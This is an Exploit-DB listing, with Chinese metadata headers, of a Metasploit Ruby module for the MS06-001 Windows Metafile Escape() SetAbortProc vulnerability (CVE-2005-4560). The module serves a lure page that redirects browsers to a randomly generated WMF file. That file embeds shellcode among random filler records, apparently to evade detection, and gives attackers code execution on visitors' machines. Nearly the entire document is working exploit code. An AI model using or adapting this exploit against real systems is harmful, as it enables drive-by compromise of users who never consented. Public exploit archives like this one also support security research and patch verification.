标题: Microsoft Windows XP/Vista/2003 - Metafile Escape() SetAbortProc Code Execution (MS06-001) (Metasploit) EDB-ID: 16612 CVE: 2005-4560 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ms06_001_wmf_setabortproc.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
   'Description'    => %q{
     This module exploits a vulnerability in the GDI library included with
    Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
    to execute arbitrary code through the SetAbortProc procedure. This module
    generates a random WMF record stream for each request.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hdm',
     'san <san@xfocus.org>',
     'O600KO78RUS@unknown.ru',
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2005-4560'],
     ['OSVDB', '21987'],
     ['MSB', 'MS06-001'],
     ['BID', '16074'],
     ['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
     ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
     ['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 1000 + (rand(256).to_i * 4),
     'BadChars' => "\x00",
     'Compat'   =>
      {
       'ConnectionType' => '-find',
      },
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP/2003/Vista Automatic', { }],
    ],
   'DisclosureDate' => 'Dec 27 2005',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)

  ext = 'wmf'

  if (not request.uri.match(/\.wmf$/i))
   if ("/" == get_resource[-1,1])
    wmf_uri = get_resource[0, get_resource.length - 1]
   else
    wmf_uri = get_resource
   end
   wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext

   html = "<html><meta http-equiv='refresh' content='0; " +
    "URL=#{wmf_uri}'><body>One second please...</body></html>"
   send_response_html(cli, html)
   return
  end

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the compressed response to the client
  send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })

  # Handle the payload
  handler(cli)
 end

 def generate_metafile(payload)

  # Minimal length values before and after the Escape record
  pre_mlen = 1440 + rand(8192)
  suf_mlen = 128  + rand(8192)

  # Track the number of generated records
  fill = 0

  # The prefix and suffix buffers
  pre_buff = ''
  suf_buff = ''

  # Generate the prefix
  while (pre_buff.length < pre_mlen)
   pre_buff << generate_record()
   fill += 1
  end

  # Generate the suffix
  while (suf_buff.length < suf_mlen)
   suf_buff << generate_record()
   fill += 1
  end

  clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
  data =
   #
   # WindowsMetaHeader
   #
   [
    # WORD  FileType;       /* Type of metafile (1=memory, 2=disk) */
    rand(2)+1,
    # WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
    9,
    # WORD  Version;        /* Version of Microsoft Windows used */
    ( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
    # DWORD FileSize;       /* Total size of the metafile in WORDs */
    clen/2,
    # WORD  NumOfObjects;   /* Number of objects in the file */
    rand(0xffff),
    # DWORD MaxRecordSize;  /* The size of largest record in WORDs */
    rand(0xffffffff),
    # WORD  NumOfParams;    /* Not Used (always 0) */
    rand(0xffff),
   ].pack('vvvVvVv') +
   #
   # Filler data
   #
   pre_buff +
   #
   # StandardMetaRecord - Escape()
   #
   [
    # DWORD Size;          /* Total size of the record in WORDs */
    4,
    # WORD  Function;      /* Function number (defined in WINDOWS.H) */
    (rand(256).to_i << 8) + 0x26,
    # WORD  Parameters[];  /* Parameter values passed to function */
    9,
   ].pack('Vvv') + payload.encoded +
   #
   # Filler data
   #
   suf_buff +
   #
   # Complete the stream
   #
   [3, 0].pack('Vv') +
   #
   # Some extra fun padding
   #
   rand_text(rand(16384)+1024)

  return data

 end

 def generate_record
  type = rand(3)

  case type
   when 0
    # CreatePenIndirect
    return [8, 0x02fa].pack('Vv') + rand_text(10)
   when 1
    # CreateBrushIndirect
    return [7, 0x02fc].pack('Vv') + rand_text(8)
   else
    # Rectangle
    return [7, 0x041b].pack('Vv') + rand_text(8)
  end
 end

end URL: https://www.exploit-db.com/exploits/16612